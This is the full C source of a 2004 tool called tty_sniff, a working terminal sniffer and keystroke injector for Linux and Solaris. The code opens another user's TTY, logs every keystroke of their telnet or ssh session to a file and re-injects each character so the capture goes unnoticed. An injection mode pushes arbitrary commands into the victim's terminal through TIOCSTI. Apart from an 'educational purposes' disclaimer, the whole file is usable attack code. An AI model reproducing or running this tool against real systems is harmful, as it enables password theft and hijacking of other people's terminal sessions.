/*
 * tty_sniff v0.01 			10/31/2004
 *
 * This is a very simple tty sniffer/injector. 
 *
 * The sniffing mode work fine only if the sniffed 
 * tty is running telnet or ssh client.
 *
 * -d <device>	Device file
 * -l <file>	Output filename
 * -j 		Command injection mode
 * -v 		Verbose mode
 *            
 * Tested under Solaris 8/9 and Linux
 *
 *  $ver=v0.01 $name=tty_sniff $date=10/31/2004
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 * 
 * (c) 2004 Copyright by Inode <inode@wayreth.eu.org>
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/ioctl.h>

#define VERSION "0.01"

int verbose = 0;
int fd;
char * outfile = NULL;
char * device = NULL;

void usage( char * argv0 );
void sniff( void );
void inject( void );
void signal_exit( int i );

int main( int argc, char **argv)
{
	int injection = 0;
	
	char opt;

	fprintf( stderr, "\nTTY Sniffer v%s by Inode <inode@wayreth.eu.org>\n\n", VERSION);

        // Check arguments
        while((opt = getopt(argc, argv, "d:l:jv")) != -1)
        {
                switch (opt)
                {
                        case 'd':
                                device = optarg;
                                break;
			case 'l':
				outfile = optarg;
				break;
			case 'j':
				injection = 1;
				break;
			case 'v':
				verbose = 1;
				break;
                        default:
                                usage( argv[0] );
                                break;
                }
        }

	if( device == NULL )
		usage( argv[0] );

	signal(SIGINT, signal_exit);

	// Open our TTY
	if( ( fd = open(device, O_RDWR) ) == -1) {
		fprintf(stderr, " Can't open device %s\n\n", device);
		exit( 0 );
	}

	if( injection == 0 )
		sniff();
	else
		inject();

        fprintf(stderr, "\n----------------------------------\n");
        fprintf(stderr, "Disconnected from device: %s\n\n", device);

	close( fd );
	return 1;
}

void inject( void )
{
	int data;
	char c;
	char buf[2];

	fprintf(stderr, "Injecting on device %s...\n", device);
	fprintf(stderr, "----------------------------------\n");	

	for(;;) {
		data = read(STDIN_FILENO, &c, 1);

		sprintf(buf, "%c", c);
		if( ioctl(fd, TIOCSTI, buf) < 0)
			break;

	}

	
}

void sniff( void )
{
        int data;
        char c;
        char buf[2];
        struct termios term;
	FILE * out;

	if( outfile != NULL ) {
		if(( out = fopen(outfile,"a+") ) == NULL){
			fprintf( stderr, "\n Error opening output file\n");
			exit(0);
		}

	} else
		out = stdout;

	

        fprintf(stderr, "Sniffing device %s...\n", device);
        fprintf(stderr, "----------------------------------\n");
                                 
        tcgetattr(fd, &term);
                            
        term.c_lflag &= ~(ECHO | ICANON);
        term.c_cc[VMIN] = 1;
        term.c_cc[VTIME] = 0;
                            
        tcsetattr(fd, TCSAFLUSH, &term);
                                 
        for(;;) {
                data = read(fd, &c,1);
                                 
                if( data < 1 )
                        break; 
                               
                if( verbose > 0 )
                        fprintf( stderr, "\nHex val: %X Char: \"%c\"\n",c,c);
                                 
                switch (c) {
                        case 0xd:
                                fprintf( out, "\n");
                                break;
                        case 0x7f:
                                fprintf( out, "^B");
                                break;
                        default:
                                fprintf( out, "%c",c);
                                break;
                                 
                }
                
                fflush(out);
                sprintf(buf, "%c", c);
                ioctl(fd, TIOCSTI, buf);
                usleep(1000);
                            
        }
        
	fclose( out );

}

void usage( char * argv0 )
{                       
        fprintf( stderr, " Usage: %s -d <tty device> [-l <out file>] [-j] [-v]\n\n", argv0);
                        
        exit(0);
}              

void signal_exit( int i ) 
{
        fprintf(stderr, "\n----------------------------------\n");
        fprintf(stderr, "Disconnected from device: %s\n\n", device);

        close( fd );

        exit(0);
}